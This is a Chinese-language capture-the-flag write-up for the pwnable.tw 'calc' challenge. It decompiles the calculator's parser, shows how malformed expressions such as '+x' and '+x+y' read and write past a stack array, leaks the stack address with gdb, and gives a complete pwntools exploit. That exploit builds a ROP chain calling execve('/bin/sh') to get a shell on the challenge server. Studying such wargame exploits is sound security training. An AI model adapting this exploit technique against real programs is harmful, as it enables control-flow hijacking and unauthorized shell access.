漏洞点是:因一个逻辑漏洞引发的栈上数组越界读写
利用方式:通过输入畸形表达式触发该漏洞,构造ROP链覆盖栈上的返回地址,进而控制流劫持getshell
题目地址:https://pwnable.tw/challenge/#3
参考WP:徐老师 Pwnable.tw刷题之calc
检查
➜ file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
➜ checksec calc
[*] '/Users/wangyuxuan/Desktop/pwnable/calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位静态链接的程序
分析
运行发现是一个计算器:
➜ ./calc
=== Welcome to SECPROG calculator ===
1+1
2
calc()
IDA打开calc函数:
unsigned int calc()
{
int v1; // [esp+18h] [ebp-5A0h]
int v2[100]; // [esp+1Ch] [ebp-59Ch]
char v3; // [esp+1ACh] [ebp-40Ch]
unsigned int v4; // [esp+5ACh] [ebp-Ch]
v4 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&v3, 0x400u);
if ( !get_expr(&v3, 1024) )
break;
init_pool(&v1);
if ( parse_expr(&v3, &v1) )
{
printf((const char *)&unk_80BF804, v2[v1 - 1]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v4;
}
在unk_80BF804处按Y键更改变量类型,输入char,确定后即可看到打印的字符串:
printf("%d\n", v2[v1 - 1]);
首先分析变量:
v1
和v2[100]
这101个int型的栈上的内存占用404个字节,并且v1
和v2
是连续存放的- 输入的表达式存储在
v3
这个变量数组中,可看出大小为1024个字节,便于分析可以更改v3
的变量类型为char [1024]
v4
是canary
然后分析逻辑:
get_expr()
,发现只能输入0-9数字以及+-*/%
这五种运算符init_pool()
,传入了变量v1
的地址,由于v1
和v2
是连续存放的,可以看到在这里一并清零了这101个变量parse_expr()
,传入了输入的表达式,和v1
的地址,看名字是要解析并且计算了printf()
,最后打印了v2
数组中的内容,并且用v1
来索引,所以最后的结果是存储在v2
数组中
parse_expr()
这个函数的逻辑有点长,所以首先我们要分析出逻辑主干,然后静下心来慢慢看,完整代码如下:
signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
int v2; // ST2C_4
int v4; // eax
int v5; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v7; // [esp+28h] [ebp-80h]
char *s1; // [esp+30h] [ebp-78h]
int v9; // [esp+34h] [ebp-74h]
char s[100]; // [esp+38h] [ebp-70h]
unsigned int v11; // [esp+9Ch] [ebp-Ch]
v11 = __readgsdword(0x14u);
v5 = a1;
v7 = 0;
bzero(s, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )
{
v2 = i + a1 - v5;
s1 = (char *)malloc(v2 + 1);
memcpy(s1, v5, v2);
s1[v2] = 0;
if ( !strcmp(s1, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(s1);
if ( v9 > 0 )
{
v4 = (*a2)++;
a2[v4 + 1] = v9;
}
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
v5 = i + 1 + a1;
if ( s[v7] )
{
switch ( *(char *)(i + a1) )
{
case 37:
case 42:
case 47:
if ( s[v7] != 43 && s[v7] != 45 )
{
eval(a2, s[v7]);
s[v7] = *(_BYTE *)(i + a1);
}
else
{
s[++v7] = *(_BYTE *)(i + a1);
}
break;
case 43:
case 45:
eval(a2, s[v7]);
s[v7] = *(_BYTE *)(i + a1);
break;
default:
eval(a2, s[v7--]);
break;
}
}
else
{
s[v7] = *(_BYTE *)(i + a1);
}
if ( !*(_BYTE *)(i + a1) )
break;
}
}
while ( v7 >= 0 )
eval(a2, s[v7--]);
return 1;
}
首先可以知道第一个参数是输入表达式,第二个参数是放置结果的101个变量空间。利用编辑器的缩进功能可以看到for循环的大逻辑如下:
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + a1) - 48) > 9 )
{
}
}
这个判断的意思是如果是符号则进入if,虽然符号的ascii码小于9,但是这里是无符号整形的比较,所以是这么判断的。当发现输入的是符号的时候,进入如下判断:
if ( !strcmp(s1, "0") ) //检查这个符号之前的数是不是0,不许输入0
if ( v9 > 0 ) //如果这个数大于0,则放入结果空间里,结果索引加一
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(char *)(i + 1 + a1) - 48) > 9 ) //不允许两个符号同时出现
if ( s[v7] ) //如果有前序运算符,进行运算符比较,然后计算
else //如果没有前序运算符,把当前运算符放入s数组中
if ( !*(_BYTE *)(i + a1) ) //如果是空字符,结束
break;
eval()
最后看一下计算的函数,第一个参数是101个结果变量的首地址,第二个参数是运算符种类:
_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
_DWORD *result; // eax
if ( a2 == 43 )
{
a1[*a1 - 1] += a1[*a1];
}
else if ( a2 > 43 )
{
if ( a2 == 45 )
{
a1[*a1 - 1] -= a1[*a1];
}
else if ( a2 == 47 )
{
a1[*a1 - 1] /= a1[*a1];
}
}
else if ( a2 == 42 )
{
a1[*a1 - 1] *= a1[*a1];
}
result = a1;
--*a1;
return result;
}
可见是eval函数是通过a1[*a1 - 1] += a1[*a1];
这种逻辑来实现计算的,其中*a1是那101个变量中的第一个变量,然后利用这个变量去数组中索引。
漏洞点
这题看了好久我也没看明白漏洞点在哪,感觉非常合理啊,不过让我们来缕一下他计算时所用的数据结构,主要有两个:
- 一个101个结果变量那个数组,位于calc函数的栈上,这里我们称为:result
- 还有一个运算符数组,位于parse_expr函数的栈上,这里我们称为:operater
运算:3+4
当我运算一个3+4
时:
+-+ +--------------------+
|2| | |
+-+ | + |
+----------------+ | |
|3 4 | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
+----------------+ +--------------------+
result operater
然后通过a1[*a1 - 1] += a1[*a1];
这种逻辑计算,即:
*a1 == 2
*a1-1 == 1
a1[*a1 - 1] == a1[1] == 3
a1[*a1] == a1[2] == 4
最终会更新3的位置为为最终的计算结果为7,并且2处自减(eval()函数的逻辑中),如下:
+-+ +--------------------+
|1| | |
+-+ | |
+----------------+ | |
|7 4 | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
+----------------+ +--------------------+
result operater
最后会根据printf("%d\n", v2[v1 - 1]);
这个逻辑打印,即打印v2[0]
,就是result[1]
,就是7,计算正确
运算:+1
但是我如果运算一个+1
,即输入表达式的第一项是个运算符:
+-+ +--------------------+
|1| | |
+-+ | + |
+----------------+ | |
|1 | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
+----------------+ +--------------------+
result operater
然后通过a1[*a1 - 1] += a1[*a1];
这种逻辑计算,即:
*a1 == 1
*a1-1 == 0
a1[*a1 - 1] == a1[0] == 1
a1[*a1] == a1[1] == 1
所以最终会更新a1[0]
的位置,为2,然后a1[0]
处还要自减一个,最终a1[0]
处是1,结果如下:
+-+ +--------------------+
|1| | |
+-+ | |
+----------------+ | |
|1 | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
+----------------+ +--------------------+
result operater
最后会根据printf("%d\n", v2[v1 - 1]);
这个逻辑打印,即打印v2[0],就是result[1],就是1:
➜ ./calc
=== Welcome to SECPROG calculator ===
+1
1
运算:+x
现在我们看一个更通用的+x的表达式会是什么计算结果:
+-+ +--------------------+
|1| | |
+-+ | + |
+----------------+ | |
|x | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
+----------------+ +--------------------+
result operater
然后通过a1[*a1 - 1] += a1[*a1];
这种逻辑计算,即:
*a1 == 1
*a1-1 == 0
a1[*a1 - 1] == a1[0] == 1
a1[*a1] == a1[1] == x
所以最终会更新a1[0]
的位置,为1+x,然后a1[0]
处还要自减一个,最终a1[0]
处是x,结果如下:
+-+ +--------------------+
|x| | |
+-+ | |
+----------------+ | |
|x | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
+----------------+ +--------------------+
result operater
最后会根据printf("%d\n", v2[v1 - 1]);
这个逻辑打印,即打印v2[x-1]
,就是result[x]
,所以当x超出result长度时即可读取到栈上其他的数据,例如:
➜ calc ./calc
=== Welcome to SECPROG calculator ===
+361
134517913
+361其实读取的是返回地址,后面再说
所以换句话说,+x这个表达式就可以完成数组的越界读
运算:+x+y
在+x的结果上:
+-+ +--------------------+
|x| | + |
+-+ | |
+----------------+ | |
|x | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
+----------------+ +--------------------+
result operater
当处理到表达式最后的空字符时,会把y读到result数组中,不过这个读的过程,在parse_expr函数中如下:
if ( v9 > 0 )
{
v4 = (*a2)++;
a2[v4 + 1] = v9;
}
其中,a2的值现在是x,故会把y读到a2[x+1]
的这个位置:
+------+ +--------------------+
|x+1 | | |
+------+ | + |
+----------------+ | |
|x | | |
| | | |
| .....y | | |
| | | |
| | | |
| | | |
| | | |
+----------------+ +--------------------+
result operater
然后通过a1[*a1 - 1] += a1[*a1];
这种逻辑计算,即:
*a1 == x+1
*a1-1 == x
a1[*a1 - 1] == a1[x]
a1[*a1] == a1[x+1] == y
所以最终会更新a1[x]
的位置,假设a1[x]
原来的值为o,则a1[x]
为o+y,然后a1[0]
处还要自减一个,最终a1[0]
处是x,结果如下:
+------+ +--------------------+
|x | | |
+------+ | |
+----------------+ | |
|x | | |
| | | |
| o+y y | | |
| | | |
| | | |
| | | |
| | | |
+----------------+ +--------------------+
result operater
最后会根据printf("%d\n", v2[v1 - 1]);
这个逻辑打印,即打印v2[x-1]
,就是result[x]
,就是o+y。这里我们发现我们修改了:
result[x]=o+y
result[x+1]=y
即+x+y这个表达式就可以完成数组的越界写,例如我们尝试一下:
➜ ./calc
=== Welcome to SECPROG calculator ===
+360
-4724328
+361
134517913
+360+10
-4724318
+361
10
总结
所以本题就是通过构造+x
以及+x+y
这两种类似的表达式(加减乘除均可),完成数组越界的读写,具体使用方式如下:
- +x:数组越界读,读取
result[x]
- +x+y:数组越界写,一次会发生两处的写:
result[x]=o+y
以及result[x+1]=y
利用
分析栈布局
我们这里定义的result数组,就是在calc函数中的v1和v2,在IDA中可以看到v1和ebp的偏移为0x5a0:
int v1; // [esp+18h] [ebp-5A0h]
不过我们在使用即兴表达式进行越界读写的时候,数组是int型的,所以内存步长是4个字节,所以是0x5a0/4=360,所以返回calc的栈帧中的返回地址应该距v1有361个整型偏移,我们实验一下:
➜ ./calc
=== Welcome to SECPROG calculator ===
+361
134517913
转成16进制:134517913=0x8049499,在IDA中:
.text:08049494 call calc
.text:08049499 mov dword ptr [esp], offset aMerryChristmas ;
果然是返回地址
ROP
本题是静态链接的程序,没有后门函数,也没有搜索到”/bin/sh”字符串,不过有int 0x80的gadget,所以需要找到一个可用的ROP链执行execve(“/bin/sh”,0,0)的系统调用,进而getshell。而且我们只能向栈上输入数据,所以”/bin/sh”这个字符串还得放到栈上,所以还需要知道栈的地址。执行有三个参数的系统调用需要控制4个寄存器,分别是eax,ebx,ecx,edx。32位的系统调用参数在这张表中可以查到:Linux System Call Table
通过ROPgadget这个工具:
➜ ROPgadget --binary ./calc --only 'pop|ret' | grep 'eax'
➜ ROPgadget --binary ./calc --only 'pop|ret' | grep 'ecx'
➜ ROPgadget --binary ./calc --only 'int'
找到一些可用的gadget:
0x0805c34b : pop eax ; ret
0x080701d0 : pop edx ; pop ecx ; pop ebx ; ret
0x08049a21 : int 0x80
这里之前有个疑问,我现在是64位的ubuntu下执行32位的程序,execve的系统调用的只在32位下是11号啊?我应该用64位的系统调用号才对啊。而且我执行的原理是因为安装了相应的库,不过系统调用这个功能应该在linux 内核中呀,怎么可能通过安装一个库就达到了两种系统调用号的兼容呢?
后来找到了答案,是因为64位的系统调用正常应该是通过syscall指令执行的,而不是int 0x80指令,但是64位的ubuntu中保留了通过int 0x80进行系统调用的途径,所以可以执行成功。
泄露栈地址
我们知道通过+360就行泄露出old_ebp的值,即main函数的ebp,所以只要知道main函数到调用calc函数时的栈帧的长度,然后用old_ebp减去就能得到现在的ebp寄存器的值。这里可以静态分析,也可以动态调试获得该值。我是动态调试看的结果:
我们断在calc()刚刚打印完计算结果处,即0x0804941E这个地址:
➜ calc gdb -q ./calc
Reading symbols from ./calc...(no debugging symbols found)...done.
gdb-peda$ b * 0x0804941E
Breakpoint 1 at 0x804941e
gdb-peda$ r
Starting program: /mnt/hgfs/桌面/pwnable/calc/calc
=== Welcome to SECPROG calculator ===
+360
-12568
gdb断下观察EBP寄存器:
EBP: 0xffffcec8 --> 0xffffcee8 --> 0x8049c30 (<__libc_csu_fini>: push ebx)
由于我们打印出的是负数-12568,我们看一下这个负数的补码是啥:
#include<stdio.h>
int main(){
int a = -12568;
printf("%x",a);
}
结果为ffffcee8,可见只要把这个结果减上0x20就是现在的ebp寄存器的值
完整EXP
所以利用的步骤就是先泄露ebp的值,然后利用畸形表达式通过加加减减布置ROP链,然后getshell
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote("chall.pwnable.tw",10100)
# /bin/sh and gadget
a = int('/bin'[::-1].encode("hex"),16)
b = int('/sh'[::-1].encode("hex"),16)
pop_eax = 0x0805c34b
pop_edx_ecx_ebx = 0x080701d0
int_80 = 0x08049a21
# leak ebp
io.recv()
io.sendline("+360")
ebp = int(io.recv())-0x20
binsh_addr = ebp+8*4
# attack
ROP_chain = [pop_eax,11,pop_edx_ecx_ebx,0,0,binsh_addr,int_80,a,b]
for i in range(361,370):
num = i - 361
io.sendline("+"+str(i))
tmp = int(io.recvline())
if tmp<ROP_chain[num]:
io.sendline("+"+str(i)+"+"+str(ROP_chain[num]-tmp))
else:
io.sendline("+"+str(i)+"-"+str(tmp-ROP_chain[num]))
io.recvline()
io.sendline()
io.interactive()